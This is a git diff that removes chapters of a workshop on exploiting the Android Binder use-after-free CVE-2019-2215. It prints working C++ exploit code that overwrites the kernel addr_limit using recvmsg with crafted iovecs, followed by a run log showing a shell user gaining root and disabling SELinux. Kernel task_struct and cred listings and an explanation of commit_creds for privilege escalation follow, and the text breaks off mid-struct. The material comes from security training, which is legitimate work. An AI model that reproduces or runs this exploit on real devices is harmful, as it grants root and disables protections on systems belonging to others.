-Again, `iovecStack[10].iov_len` and `iovecStack[11].iov_base` will be clobbered with a pointer. However, we will only trigger the **unlink** operation, when `iovecStack[10]` is already processed and `recvmsg` system call is blocking and waiting to receive the rest of the messages. - -When the clobber is done, we will write rest of the data (`finalSocketData`) to the socket file descriptor and then `recvmsg` system call will resume automatically. - -```c -static uint64_t finalSocketData[] = { - 0x1, // iovecStack[IOVEC_WQ_INDEX].iov_len - 0x41414141, // iovecStack[IOVEC_WQ_INDEX + 1].iov_base - 0x8 + 0x8 + 0x8 + 0x8, // iovecStack[IOVEC_WQ_INDEX + 1].iov_len - (uint64_t) ((uint8_t *) m_task_struct + - OFFSET_TASK_STRUCT_ADDR_LIMIT), // iovecStack[IOVEC_WQ_INDEX + 2].iov_base - 0xFFFFFFFFFFFFFFFE // addr_limit value -}; -``` - -Let's see what will happen after clobber - -* `iovecStack[10]` is already processed before we trigger the **unlink** operation -* `iovecStack[10].iov_len` and `iovecStack[11].iov_base` is clobbered with a pointer -* when `recvmsg` starts processing `iovecStack[11]` - * it will write `1` to `iovecStack[10].iov_len` which was earlier clobbered, basically fix it back to it's initial value - * write `0x41414141` to `iovecStack[11].iov_base` - * write `0x20` to `iovecStack[11].iov_len` - * write address of `addr_limit` to `iovecStack[12].iov_base` -* now, when `recvmsg` starts processing `iovecStack[12]` - * write `0xFFFFFFFFFFFFFFFE` to `addr_limit` - -This is how we will convert **scoped write** to controlled **arbitrary write**. - - -Let's build the attack plan to clobber `addr_limit` - -* create `socketpair` and get the file descriptors -* write **0x1** byte of junk data to socket's write descriptor -* link `eventpoll` wait queue to `binder_thread` wait queue -* `fork` the process - * parent process - * free the `binder_thread` structure - * trigger `recvmsg` system call, it will process the **0x1** byte of junk data that we wrote, then blocks and waits to receive rest of the data - * once `recvmsg` system call resumes, it will process `iovecStack[11]` which is already clobbered due to **unlink** operation - * once `recvmsg` system call returns it would have clobbered `addr_limit` - * child process - * `sleep` to avoid race conditions - * trigger the **unlink** operation - * write rest of the data `finalSocketData` to the socket's write descriptor - - -Now, let's see the how the same could be achieved in the exploit code. - -```cpp -void BinderUaF::clobberAddrLimit() { - int sock_fd[2] = {0}; - ssize_t nBytesWritten = 0; - struct msghdr message = {nullptr}; - struct iovec iovecStack[IOVEC_COUNT] = {nullptr}; - - // - // Get binder fd - // - - setupBinder(); - - // - // Create event poll - // - - setupEventPoll(); - - // - // For clobbering the addr_limit we trigger the unlink - // operation again after reallocating binder_thread with - // iovecs - // - // If you see how we manage to leak kernel data is by using - // the blocking feature of writev - // - // We could use readv blocking feature to do scoped write - // However, after trying readv and reading the Linux kernel - // code, I figured out an issue which makes readv useless for - // current bug. - // - // The main issue that I found is: - // - // iovcArray[IOVEC_COUNT].iov_len is clobbered with a pointer - // due to unlink operation - // - // So, when copy_page_to_iter_iovec tries to process the iovecs, - // there is a line of code, copy = min(bytes, iov->iov_len); - // Here, "bytes" is equal to sum of all iovecs length and as - // "iov->iov_len" is corrupted with a pointer which is obviously - // a very big number, now copy = sum of all iovecs length and skips - // the processing of the next iovec which is the target iovec which - // would give was scoped write. - // - // I believe P0 also faced the same issue so they switched to recvmsg - // - - // - // Setup socketpair for iovec - // - // AF_UNIX/AF_LOCAL is used because we are interested only in - // local communication - // - // We use SOCK_STREAM so that MSG_WAITALL can be used in recvmsg - // - - INFO("[+] Setting up socket\n"); - - if (socketpair(AF_UNIX, SOCK_STREAM, 0, sock_fd) == -1) { - ERR("\t[-] Unable to create socketpair\n"); - exit(EXIT_FAILURE); - } else { - INFO("\t[*] Socketpair created successfully\n"); - } - - // - // We will just write junk data to socket so that when recvmsg - // is called it process the fist valid iovec with this junk data - // and then blocks and waits for the rest of the data to be received - // - - static char junkSocketData[] = { - 0x41 - }; - - INFO("[+] Writing junk data to socket\n"); - - nBytesWritten = write(sock_fd[1], &junkSocketData, sizeof(junkSocketData)); - - if (nBytesWritten != sizeof(junkSocketData)) { - ERR("\t[-] write failed. nBytesWritten: 0x%lx, expected: 0x%lx\n", nBytesWritten, sizeof(junkSocketData)); - exit(EXIT_FAILURE); - } - - // - // Write junk data to the socket so that when recvmsg is - // called, it process the first valid iovec with this junk - // data and then blocks for the rest of the incoming socket data - // - - INFO("[+] Setting up iovecs\n"); - - // - // We want to block after processing the iovec at IOVEC_WQ_INDEX, - // because then, we can trigger the unlink operation and get the - // next iovecs corrupted to gain scoped write. - // - - mmap4gbAlignedPage(); - - iovecStack[IOVEC_WQ_INDEX].iov_base = m_4gb_aligned_page; - iovecStack[IOVEC_WQ_INDEX].iov_len = 1; - iovecStack[IOVEC_WQ_INDEX + 1].iov_base = (void *) 0x41414141; - iovecStack[IOVEC_WQ_INDEX + 1].iov_len = 0x8 + 0x8 + 0x8 + 0x8; - iovecStack[IOVEC_WQ_INDEX + 2].iov_base = (void *) 0x42424242; - iovecStack[IOVEC_WQ_INDEX + 2].iov_len = 0x8; - - // - // Prepare the data buffer that will be written to socket - // - - // - // Setting addr_limit to 0xFFFFFFFFFFFFFFFF in arm64 - // will result in crash because of a check in do_page_fault - // However, x86_64 does not have this check. But it's better - // to set it to 0xFFFFFFFFFFFFFFFE so that this same code can - // be used in arm64 as well. - // - - static uint64_t finalSocketData[] = { - 0x1, // iovecStack[IOVEC_WQ_INDEX].iov_len - 0x41414141, // iovecStack[IOVEC_WQ_INDEX + 1].iov_base - 0x8 + 0x8 + 0x8 + 0x8, // iovecStack[IOVEC_WQ_INDEX + 1].iov_len - (uint64_t) ((uint8_t *) m_task_struct + - OFFSET_TASK_STRUCT_ADDR_LIMIT), // iovecStack[IOVEC_WQ_INDEX + 2].iov_base - 0xFFFFFFFFFFFFFFFE // addr_limit value - }; - - // - // Prepare the message - // - - message.msg_iov = iovecStack; - message.msg_iovlen = IOVEC_COUNT; - - // - // Now link the poll wait queue to binder thread wait queue - // - - linkEventPollWaitQueueToBinderThreadWaitQueue(); - - // - // We should trigger the unlink operation when we - // have the binder_thread reallocated as iovec array - // - - // - // Now fork - // - - pid_t childPid = fork(); - - if (childPid == 0) { - // - // child process - // - - // - // There is a race window between the unlink and blocking - // in writev, so sleep for a while to ensure that we are - // blocking in writev before the unlink happens - // - - sleep(2); - - // - // Trigger the unlink operation on the reallocated chunk - // - - unlinkEventPollWaitQueueFromBinderThreadWaitQueue(); - - // - // Now, at this point, the iovecStack[IOVEC_WQ_INDEX].iov_len - // and iovecStack[IOVEC_WQ_INDEX + 1].iov_base is clobbered - // - // Write rest of the data to the socket so that recvmsg starts - // processing the corrupted iovecs and we get scoped write and - // finally arbitrary write - // - - nBytesWritten = write(sock_fd[1], finalSocketData, sizeof(finalSocketData)); - - if (nBytesWritten != sizeof(finalSocketData)) { - ERR("\t[-] write failed. nBytesWritten: 0x%lx, expected: 0x%lx", nBytesWritten, sizeof(finalSocketData)); - exit(EXIT_FAILURE); - } - - exit(EXIT_SUCCESS); - - } - - // - // parent process - // - - // - // I have seen some races which hinders the reallocation. - // So, now freeing the binder_thread after fork. - // - - freeBinderThread(); - - // - // Reallocate binder_thread as iovec array and - // we need to make sure this recvmsg call blocks. - // - // recvmsg will block after processing a valid iovec at - // iovecStack[IOVEC_WQ_INDEX] - // - - ssize_t nBytesReceived = recvmsg(sock_fd[0], &message, MSG_WAITALL); - - // - // If the corruption was successful, the total bytes received - // should be equal to length of all iovec. This is because there - // are three valid iovec - // - - ssize_t expectedBytesReceived = iovecStack[IOVEC_WQ_INDEX].iov_len + - iovecStack[IOVEC_WQ_INDEX + 1].iov_len + - iovecStack[IOVEC_WQ_INDEX + 2].iov_len; - - if (nBytesReceived != expectedBytesReceived) { - ERR("\t[-] recvmsg failed. nBytesReceived: 0x%lx, expected: 0x%lx\n", nBytesReceived, expectedBytesReceived); - exit(EXIT_FAILURE); - } - - // - // Wait for the child process to exit - // - - wait(nullptr); -} -``` - -I hope know you have a better idea how we used **scoped write** to achieve controlled **arbitrary write** and clobbered `addr_limit` with `0xFFFFFFFFFFFFFFFE`. - - -## Exploit In Action {#exploit-in-action} - -Let's see the exploit in action. - -```bash -ashfaq@hacksys:~/workshop$ adb shell -generic_x86_64:/ $ uname -a -Linux localhost 4.14.150+ #1 repo:q-goldfish-android-goldfish-4.14-dev SMP PREEMPT Tue Apr x86_64 -generic_x86_64:/ $ id -uid=2000(shell) gid=2000(shell) groups=2000(shell),1004(input),1007(log),1011(adb),1015(sdcard_rw),1028(sdcard_r),3001(net_bt_admin),3002(net_bt),3003(inet),3006(net_bw_stats),3009(readproc),3011(uhid) context=u:r:shell:s0 -generic_x86_64:/ $ getenforce -Enforcing -generic_x86_64:/ $ cd /data/local/tmp -generic_x86_64:/data/local/tmp $ ./cve-2019-2215-exploit - - ## # # ### ### ### # ### ### ### # ### - # # # # # # # ## # # # # ## # - # # # ## ### ### # # # ### ### ### ### # ### - # # # # # # # # # # # # # - ## # ### ### ### ### ### ### ### ### ### - @HackSysTeam - -[+] Binding to 0th core -[+] Opening: /dev/binder - [*] m_binder_fd: 0x3 -[+] Creating event poll - [*] m_epoll_fd: 0x4 -[+] Setting up pipe - [*] Pipe created successfully - [*] Changed the pipe capacity to: 0x1000 -[+] Setting up iovecs -[+] Mapping 4GB aligned page - [*] Mapped page: 0x100000000 -[+] Linking eppoll_entry->wait.entry to binder_thread->wait.head -[+] Freeing binder_thread -[+] Un-linking eppoll_entry->wait.entry from binder_thread->wait.head - [*] Wrote 0x2000 bytes -[+] Leaked task_struct: 0xffff888063a14b00 - [*] &task_struct->pid: 0xffff888063a14fe8 - [*] &task_struct->cred: 0xffff888063a15188 - [*] &task_struct->nsproxy: 0xffff888063a151c0 -[+] Opening: /dev/binder - [*] m_binder_fd: 0x7 -[+] Creating event poll - [*] m_epoll_fd: 0x8 -[+] Setting up socket - [*] Socketpair created successfully -[+] Writing junk data to socket -[+] Setting up iovecs -[+] Linking eppoll_entry->wait.entry to binder_thread->wait.head -[+] Freeing binder_thread -[+] Un-linking eppoll_entry->wait.entry from binder_thread->wait.head -[+] Setting up pipe for kernel read/write - [*] Pipe created successfully -[+] Verifying arbitrary read/write primitive - [*] currentPid: 7039 - [*] expectedPid: 7039 - [*] Arbitrary read/write successful -[+] Patching current task cred members - [*] cred: 0xffff888066e016c0 -[+] Verifying if selinux enforcing is enabled - [*] nsproxy: 0xffffffff81433ac0 - [*] Kernel base: 0xffffffff80200000 - [*] selinux_enforcing: 0xffffffff816acfe8 - [*] selinux enforcing is enabled - [*] Disabled selinux enforcing -[+] Verifying if rooted - [*] uid: 0x0 - [*] Rooting successful -[+] Spawning root shell -generic_x86_64:/data/local/tmp # id -uid=0(root) gid=0(root) groups=0(root),1004(input),1007(log),1011(adb),1015(sdcard_rw),1028(sdcard_r),3001(net_bt_admin),3002(net_bt),3003(inet),3006(net_bw_stats),3009(readproc),3011(uhid) context=u:r:shell:s0 -generic_x86_64:/data/local/tmp # getenforce -Permissive -generic_x86_64:/data/local/tmp # -``` - -You can see that we have achieved `root` and disabled **SELinux**. diff --git a/gitbook/chapters/gdb-macros.md b/gitbook/chapters/gdb-macros.md deleted file mode 100644 index 677ba19..0000000 --- a/gitbook/chapters/gdb-macros.md +++ /dev/null @@ -1,11 +0,0 @@ -# GDB Macros - -These are useful **macros** that you can use during **debugging**. - -``` -macro define offsetof(_type, _memb) ((long)(&((_type *)0)->_memb)) -``` - -``` -macro define containerof(_ptr, _type, _memb) ((_type *)((void *)(_ptr) - offsetof(_type, _memb))) -``` diff --git a/gitbook/chapters/linux-privilege-escalation.md b/gitbook/chapters/linux-privilege-escalation.md deleted file mode 100644 index dbad42c..0000000 --- a/gitbook/chapters/linux-privilege-escalation.md +++ /dev/null @@ -1,843 +0,0 @@ -# Linux Privilege Escalation - -The end goal of this workshop is to use a **Android** kernel **vulnerability** to achieve privilege escalation i.e `root`. In **Linux** `root` is the super user with `uid=0(root) gid=0(root)` and has all the access rights. - - -## Light Weight Process {#light-weight-process} - -Linux uses **Light Weight Process** to implement better support multi-threading. Each **light weight process** is assigned a process descriptor called `task_struct` and is defined in `include/linux/sched.h`. - -```c -struct task_struct { -#ifdef CONFIG_THREAD_INFO_IN_TASK - /* - * For reasons of header soup (see current_thread_info()), this - * must be the first element of task_struct. - */ - struct thread_info thread_info; -#endif - /* -1 unrunnable, 0 runnable, >0 stopped: */ - volatile long state; - - /* - * This begins the randomizable portion of task_struct. Only - * scheduling-critical items should be added above here. - */ - randomized_struct_fields_start - - void *stack; - atomic_t usage; - /* Per task flags (PF_*), defined further below: */ - unsigned int flags; - unsigned int ptrace; - -#ifdef CONFIG_SMP - struct llist_node wake_entry; - int on_cpu; -#ifdef CONFIG_THREAD_INFO_IN_TASK - /* Current CPU: */ - unsigned int cpu; -#endif - unsigned int wakee_flips; - unsigned long wakee_flip_decay_ts; - struct task_struct *last_wakee; - - int wake_cpu; -#endif - int on_rq; - - int prio; - int static_prio; - int normal_prio; - unsigned int rt_priority; - - const struct sched_class *sched_class; - struct sched_entity se; - struct sched_rt_entity rt; -#ifdef CONFIG_SCHED_WALT - struct ravg ravg; - /* - * 'init_load_pct' represents the initial task load assigned to children - * of this task - */ - u32 init_load_pct; - u64 last_sleep_ts; -#endif - -#ifdef CONFIG_CGROUP_SCHED - struct task_group *sched_task_group; -#endif - struct sched_dl_entity dl; - -#ifdef CONFIG_PREEMPT_NOTIFIERS - /* List of struct preempt_notifier: */ - struct hlist_head preempt_notifiers; -#endif - -#ifdef CONFIG_BLK_DEV_IO_TRACE - unsigned int btrace_seq; -#endif - - unsigned int policy; - int nr_cpus_allowed; - cpumask_t cpus_allowed; - -#ifdef CONFIG_PREEMPT_RCU - int rcu_read_lock_nesting; - union rcu_special rcu_read_unlock_special; - struct list_head rcu_node_entry; - struct rcu_node *rcu_blocked_node; -#endif /* #ifdef CONFIG_PREEMPT_RCU */ - -#ifdef CONFIG_TASKS_RCU - unsigned long rcu_tasks_nvcsw; - u8 rcu_tasks_holdout; - u8 rcu_tasks_idx; - int rcu_tasks_idle_cpu; - struct list_head rcu_tasks_holdout_list; -#endif /* #ifdef CONFIG_TASKS_RCU */ - - struct sched_info sched_info; - - struct list_head tasks; -#ifdef CONFIG_SMP - struct plist_node pushable_tasks; - struct rb_node pushable_dl_tasks; -#endif - - struct mm_struct *mm; - struct mm_struct *active_mm; - - /* Per-thread vma caching: */ - struct vmacache vmacache; - -#ifdef SPLIT_RSS_COUNTING - struct task_rss_stat rss_stat; -#endif - int exit_state; - int exit_code; - int exit_signal; - /* The signal sent when the parent dies: */ - int pdeath_signal; - /* JOBCTL_*, siglock protected: */ - unsigned long jobctl; - - /* Used for emulating ABI behavior of previous Linux versions: */ - unsigned int personality; - - /* Scheduler bits, serialized by scheduler locks: */ - unsigned sched_reset_on_fork:1; - unsigned sched_contributes_to_load:1; - unsigned sched_migrated:1; - unsigned sched_remote_wakeup:1; -#ifdef CONFIG_PSI - unsigned sched_psi_wake_requeue:1; -#endif - - /* Force alignment to the next boundary: */ - unsigned :0; - - /* Unserialized, strictly 'current' */ - - /* Bit to tell LSMs we're in execve(): */ - unsigned in_execve:1; - unsigned in_iowait:1; -#ifndef TIF_RESTORE_SIGMASK - unsigned restore_sigmask:1; -#endif -#ifdef CONFIG_MEMCG - unsigned memcg_may_oom:1; -#ifndef CONFIG_SLOB - unsigned memcg_kmem_skip_account:1; -#endif -#endif -#ifdef CONFIG_COMPAT_BRK - unsigned brk_randomized:1; -#endif -#ifdef CONFIG_CGROUPS - /* disallow userland-initiated cgroup migration */ - unsigned no_cgroup_migration:1; -#endif - - unsigned long atomic_flags; /* Flags requiring atomic access. */ - - struct restart_block restart_block; - - pid_t pid; - pid_t tgid; - -#ifdef CONFIG_CC_STACKPROTECTOR - /* Canary value for the -fstack-protector GCC feature: */ - unsigned long stack_canary; -#endif - /* - * Pointers to the (original) parent process, youngest child, younger sibling, - * older sibling, respectively. (p->father can be replaced with - * p->real_parent->pid) - */ - - /* Real parent process: */ - struct task_struct __rcu *real_parent; - - /* Recipient of SIGCHLD, wait4() reports: */ - struct task_struct __rcu *parent; - - /* - * Children/sibling form the list of natural children: - */ - struct list_head children; - struct list_head sibling; - struct task_struct *group_leader; - - /* - * 'ptraced' is the list of tasks this task is using ptrace() on. - * - * This includes both natural children and PTRACE_ATTACH targets. - * 'ptrace_entry' is this task's link on the p->parent->ptraced list. - */ - struct list_head ptraced; - struct list_head ptrace_entry; - - /* PID/PID hash table linkage. */ - struct pid_link pids[PIDTYPE_MAX]; - struct list_head thread_group; - struct list_head thread_node; - - struct completion *vfork_done; - - /* CLONE_CHILD_SETTID: */ - int __user *set_child_tid; - - /* CLONE_CHILD_CLEARTID: */ - int __user *clear_child_tid; - - u64 utime; - u64 stime; -#ifdef CONFIG_ARCH_HAS_SCALED_CPUTIME - u64 utimescaled; - u64 stimescaled; -#endif - u64 gtime; -#ifdef CONFIG_CPU_FREQ_TIMES - u64 *time_in_state; - unsigned int max_state; -#endif - struct prev_cputime prev_cputime; -#ifdef CONFIG_VIRT_CPU_ACCOUNTING_GEN - struct vtime vtime; -#endif - -#ifdef CONFIG_NO_HZ_FULL - atomic_t tick_dep_mask; -#endif - /* Context switch counts: */ - unsigned long nvcsw; - unsigned long nivcsw; - - /* Monotonic time in nsecs: */ - u64 start_time; - - /* Boot based time in nsecs: */ - u64 real_start_time; - - /* MM fault and swap info: this can arguably be seen as either mm-specific or thread-specific: */ - unsigned long min_flt; - unsigned long maj_flt; - -#ifdef CONFIG_POSIX_TIMERS - struct task_cputime cputime_expires; - struct list_head cpu_timers[3]; -#endif - - /* Process credentials: */ - - /* Tracer's credentials at attach: */ - const struct cred __rcu *ptracer_cred; - - /* Objective and real subjective task credentials (COW): */ - const struct cred __rcu *real_cred; - - /* Effective (overridable) subjective task credentials (COW): */ - const struct cred __rcu *cred; - - /* - * executable name, excluding path. - * - * - normally initialized setup_new_exec() - * - access it with [gs]et_task_comm() - * - lock it with task_lock() - */ - char comm[TASK_COMM_LEN]; - - struct nameidata *nameidata; - -#ifdef CONFIG_SYSVIPC - struct sysv_sem sysvsem; - struct sysv_shm sysvshm; -#endif -#ifdef CONFIG_DETECT_HUNG_TASK - unsigned long last_switch_count; -#endif - /* Filesystem information: */ - struct fs_struct *fs; - - /* Open file information: */ - struct files_struct *files; - - /* Namespaces: */ - struct nsproxy *nsproxy; - - /* Signal handlers: */ - struct signal_struct *signal; - struct sighand_struct *sighand; - sigset_t blocked; - sigset_t real_blocked; - /* Restored if set_restore_sigmask() was used: */ - sigset_t saved_sigmask; - struct sigpending pending; - unsigned long sas_ss_sp; - size_t sas_ss_size; - unsigned int sas_ss_flags; - - struct callback_head *task_works; - - struct audit_context *audit_context; -#ifdef CONFIG_AUDITSYSCALL - kuid_t loginuid; - unsigned int sessionid; -#endif - struct seccomp seccomp; - - /* Thread group tracking: */ - u32 parent_exec_id; - u32 self_exec_id; - - /* Protection against (de-)allocation: mm, files, fs, tty, keyrings, mems_allowed, mempolicy: */ - spinlock_t alloc_lock; - - /* Protection of the PI data structures: */ - raw_spinlock_t pi_lock; - - struct wake_q_node wake_q; - -#ifdef CONFIG_RT_MUTEXES - /* PI waiters blocked on a rt_mutex held by this task: */ - struct rb_root_cached pi_waiters; - /* Updated under owner's pi_lock and rq lock */ - struct task_struct *pi_top_task; - /* Deadlock detection and priority inheritance handling: */ - struct rt_mutex_waiter *pi_blocked_on; -#endif - -#ifdef CONFIG_DEBUG_MUTEXES - /* Mutex deadlock detection: */ - struct mutex_waiter *blocked_on; -#endif - -#ifdef CONFIG_TRACE_IRQFLAGS - unsigned int irq_events; - unsigned long hardirq_enable_ip; - unsigned long hardirq_disable_ip; - unsigned int hardirq_enable_event; - unsigned int hardirq_disable_event; - int hardirqs_enabled; - int hardirq_context; - unsigned long softirq_disable_ip; - unsigned long softirq_enable_ip; - unsigned int softirq_disable_event; - unsigned int softirq_enable_event; - int softirqs_enabled; - int softirq_context; -#endif - -#ifdef CONFIG_LOCKDEP -# define MAX_LOCK_DEPTH 48UL - u64 curr_chain_key; - int lockdep_depth; - unsigned int lockdep_recursion; - struct held_lock held_locks[MAX_LOCK_DEPTH]; -#endif - -#ifdef CONFIG_LOCKDEP_CROSSRELEASE -#define MAX_XHLOCKS_NR 64UL - struct hist_lock *xhlocks; /* Crossrelease history locks */ - unsigned int xhlock_idx; - /* For restoring at history boundaries */ - unsigned int xhlock_idx_hist[XHLOCK_CTX_NR]; - unsigned int hist_id; - /* For overwrite check at each context exit */ - unsigned int hist_id_save[XHLOCK_CTX_NR]; -#endif - -#ifdef CONFIG_UBSAN - unsigned int in_ubsan; -#endif - - /* Journalling filesystem info: */ - void *journal_info; - - /* Stacked block device info: */ - struct bio_list *bio_list; - -#ifdef CONFIG_BLOCK - /* Stack plugging: */ - struct blk_plug *plug; -#endif - - /* VM state: */ - struct reclaim_state *reclaim_state; - - struct backing_dev_info *backing_dev_info; - - struct io_context *io_context; - - /* Ptrace state: */ - unsigned long ptrace_message; - siginfo_t *last_siginfo; - - struct task_io_accounting ioac; -#ifdef CONFIG_PSI - /* Pressure stall state */ - unsigned int psi_flags; -#endif -#ifdef CONFIG_TASK_XACCT - /* Accumulated RSS usage: */ - u64 acct_rss_mem1; - /* Accumulated virtual memory usage: */ - u64 acct_vm_mem1; - /* stime + utime since last update: */ - u64 acct_timexpd; -#endif -#ifdef CONFIG_CPUSETS - /* Protected by ->alloc_lock: */ - nodemask_t mems_allowed; - /* Seqence number to catch updates: */ - seqcount_t mems_allowed_seq; - int cpuset_mem_spread_rotor; - int cpuset_slab_spread_rotor; -#endif -#ifdef CONFIG_CGROUPS - /* Control Group info protected by css_set_lock: */ - struct css_set __rcu *cgroups; - /* cg_list protected by css_set_lock and tsk->alloc_lock: */ - struct list_head cg_list; -#endif -#ifdef CONFIG_INTEL_RDT - u32 closid; - u32 rmid; -#endif -#ifdef CONFIG_FUTEX - struct robust_list_head __user *robust_list; -#ifdef CONFIG_COMPAT - struct compat_robust_list_head __user *compat_robust_list; -#endif - struct list_head pi_state_list; - struct futex_pi_state *pi_state_cache; -#endif -#ifdef CONFIG_PERF_EVENTS - struct perf_event_context *perf_event_ctxp[perf_nr_task_contexts]; - struct mutex perf_event_mutex; - struct list_head perf_event_list; -#endif -#ifdef CONFIG_DEBUG_PREEMPT - unsigned long preempt_disable_ip; -#endif -#ifdef CONFIG_NUMA - /* Protected by alloc_lock: */ - struct mempolicy *mempolicy; - short il_prev; - short pref_node_fork; -#endif -#ifdef CONFIG_NUMA_BALANCING - int numa_scan_seq; - unsigned int numa_scan_period; - unsigned int numa_scan_period_max; - int numa_preferred_nid; - unsigned long numa_migrate_retry; - /* Migration stamp: */ - u64 node_stamp; - u64 last_task_numa_placement; - u64 last_sum_exec_runtime; - struct callback_head numa_work; - - struct list_head numa_entry; - struct numa_group *numa_group; - - /* - * numa_faults is an array split into four regions: - * faults_memory, faults_cpu, faults_memory_buffer, faults_cpu_buffer - * in this precise order. - * - * faults_memory: Exponential decaying average of faults on a per-node - * basis. Scheduling placement decisions are made based on these - * counts. The values remain static for the duration of a PTE scan. - * faults_cpu: Track the nodes the process was running on when a NUMA - * hinting fault was incurred. - * faults_memory_buffer and faults_cpu_buffer: Record faults per node - * during the current scan window. When the scan completes, the counts - * in faults_memory and faults_cpu decay and these values are copied. - */ - unsigned long *numa_faults; - unsigned long total_numa_faults; - - /* - * numa_faults_locality tracks if faults recorded during the last - * scan window were remote/local or failed to migrate. The task scan - * period is adapted based on the locality of the faults with different - * weights depending on whether they were shared or private faults - */ - unsigned long numa_faults_locality[3]; - - unsigned long numa_pages_migrated; -#endif /* CONFIG_NUMA_BALANCING */ - - struct tlbflush_unmap_batch tlb_ubc; - - struct rcu_head rcu; - - /* Cache last used pipe for splice(): */ - struct pipe_inode_info *splice_pipe; - - struct page_frag task_frag; - -#ifdef CONFIG_TASK_DELAY_ACCT - struct task_delay_info *delays; -#endif - -#ifdef CONFIG_FAULT_INJECTION - int make_it_fail; - unsigned int fail_nth; -#endif - /* - * When (nr_dirtied >= nr_dirtied_pause), it's time to call - * balance_dirty_pages() for a dirty throttling pause: - */ - int nr_dirtied; - int nr_dirtied_pause; - /* Start of a write-and-pause period: */ - unsigned long dirty_paused_when; - -#ifdef CONFIG_LATENCYTOP - int latency_record_count; - struct latency_record latency_record[LT_SAVECOUNT]; -#endif - /* - * Time slack values; these are used to round up poll() and - * select() etc timeout values. These are in nanoseconds. - */ - u64 timer_slack_ns; - u64 default_timer_slack_ns; - -#ifdef CONFIG_KASAN - unsigned int kasan_depth; -#endif - -#ifdef CONFIG_FUNCTION_GRAPH_TRACER - /* Index of current stored address in ret_stack: */ - int curr_ret_stack; - - /* Stack of return addresses for return function tracing: */ - struct ftrace_ret_stack *ret_stack; - - /* Timestamp for last schedule: */ - unsigned long long ftrace_timestamp; - - /* - * Number of functions that haven't been traced - * because of depth overrun: - */ - atomic_t trace_overrun; - - /* Pause tracing: */ - atomic_t tracing_graph_pause; -#endif - -#ifdef CONFIG_TRACING - /* State flags for use by tracers: */ - unsigned long trace; - - /* Bitmask and counter of trace recursion: */ - unsigned long trace_recursion; -#endif /* CONFIG_TRACING */ - -#ifdef CONFIG_KCOV - /* Coverage collection mode enabled for this task (0 if disabled): */ - enum kcov_mode kcov_mode; - - /* Size of the kcov_area: */ - unsigned int kcov_size; - - /* Buffer for coverage collection: */ - void *kcov_area; - - /* KCOV descriptor wired with this task or NULL: */ - struct kcov *kcov; -#endif - -#ifdef CONFIG_MEMCG - struct mem_cgroup *memcg_in_oom; - gfp_t memcg_oom_gfp_mask; - int memcg_oom_order; - - /* Number of pages to reclaim on returning to userland: */ - unsigned int memcg_nr_pages_over_high; -#endif - -#ifdef CONFIG_UPROBES - struct uprobe_task *utask; -#endif -#if defined(CONFIG_BCACHE) || defined(CONFIG_BCACHE_MODULE) - unsigned int sequential_io; - unsigned int sequential_io_avg; -#endif -#ifdef CONFIG_DEBUG_ATOMIC_SLEEP - unsigned long task_state_change; -#endif - int pagefault_disabled; -#ifdef CONFIG_MMU - struct task_struct *oom_reaper_list; -#endif -#ifdef CONFIG_VMAP_STACK - struct vm_struct *stack_vm_area; -#endif -#ifdef CONFIG_THREAD_INFO_IN_TASK - /* A live task holds one reference: */ - atomic_t stack_refcount; -#endif -#ifdef CONFIG_LIVEPATCH - int patch_state; -#endif -#ifdef CONFIG_SECURITY - /* Used by LSM modules for access restriction: */ - void *security; -#endif - - /* - * New fields for task_struct should be added above here, so that - * they are included in the randomized portion of task_struct. - */ - randomized_struct_fields_end - - /* CPU-specific state of this task: */ - struct thread_struct thread; - - /* - * WARNING: on x86, 'thread_struct' contains a variable-sized - * structure. It *MUST* be at the end of 'task_struct'. - * - * Do not put anything below here! - */ -}; -``` - -This data structure contains all the information to manage a process. One of the interesting members in this `task_struct` structure is `cred`. - - -## Process Credentials {#process-credentials} - -The **security context** of a task is defined by `struct cred` and is defined in `include/linux/cred.h`. - -```c -struct cred { - atomic_t usage; -#ifdef CONFIG_DEBUG_CREDENTIALS - atomic_t subscribers; /* number of processes subscribed */ - void *put_addr; - unsigned magic; -#define CRED_MAGIC 0x43736564 -#define CRED_MAGIC_DEAD 0x44656144 -#endif - kuid_t uid; /* real UID of the task */ - kgid_t gid; /* real GID of the task */ - kuid_t suid; /* saved UID of the task */ - kgid_t sgid; /* saved GID of the task */ - kuid_t euid; /* effective UID of the task */ - kgid_t egid; /* effective GID of the task */ - kuid_t fsuid; /* UID for VFS ops */ - kgid_t fsgid; /* GID for VFS ops */ - unsigned securebits; /* SUID-less security management */ - kernel_cap_t cap_inheritable; /* caps our children can inherit */ - kernel_cap_t cap_permitted; /* caps we're permitted */ - kernel_cap_t cap_effective; /* caps we can actually use */ - kernel_cap_t cap_bset; /* capability bounding set */ - kernel_cap_t cap_ambient; /* Ambient capability set */ -#ifdef CONFIG_KEYS - unsigned char jit_keyring; /* default keyring to attach requested - * keys to */ - struct key __rcu *session_keyring; /* keyring inherited over fork */ - struct key *process_keyring; /* keyring private to this process */ - struct key *thread_keyring; /* keyring private to this thread */ - struct key *request_key_auth; /* assumed request_key authority */ -#endif -#ifdef CONFIG_SECURITY - void *security; /* subjective LSM security */ -#endif - struct user_struct *user; /* real user ID subscription */ - struct user_namespace *user_ns; /* user_ns the caps and keyrings are relative to. */ - struct group_info *group_info; /* supplementary groups for euid/fsgid */ - /* RCU deletion */ - union { - int non_rcu; /* Can we skip RCU deletion? */ - struct rcu_head rcu; /* RCU deletion hook */ - }; -} __randomize_layout; -``` - -In most of the Linux **kernel exploits**, you must have seen that to achieve `root` they use - -```c -commit_creds(prepare_kernel_cred(NULL)); -``` - -Let's try to look into these two functions and see what they do. First, let's look into `prepare_kernel_cred` function which is defined in `kernel/cred.c`. - -```c -struct cred *prepare_kernel_cred(struct task_struct *daemon) -{ - const struct cred *old; - struct cred *new; - - new = kmem_cache_alloc(cred_jar, GFP_KERNEL); - if (!new) - return NULL; - - kdebug("prepare_kernel_cred() alloc %p", new); - - if (daemon) - old = get_task_cred(daemon); - else - old = get_cred(&init_cred); - - validate_creds(old); - - *new = *old; - [...] - validate_creds(new); - return new; - -error: - [...] - return NULL; -} -``` - -This function basically take a pointer `task_struct` for which we want to prepare *kernel credentials*. The important part of the function is that if we provide `NULL` as the pointer to `task_struct` it will get the default credentials which is `init_cred`. `init_cred` is a global `struct cred` defined in `kernel/cred.c` which is used to initialize the credentials for the `init_task` which is the first **task** in Linux. - -```c -/* - * The initial credentials for the initial task - */ -struct cred init_cred = { - .usage = ATOMIC_INIT(4), -#ifdef CONFIG_DEBUG_CREDENTIALS - .subscribers = ATOMIC_INIT(2), - .magic = CRED_MAGIC, -#endif - .uid = GLOBAL_ROOT_UID, - .gid = GLOBAL_ROOT_GID, - 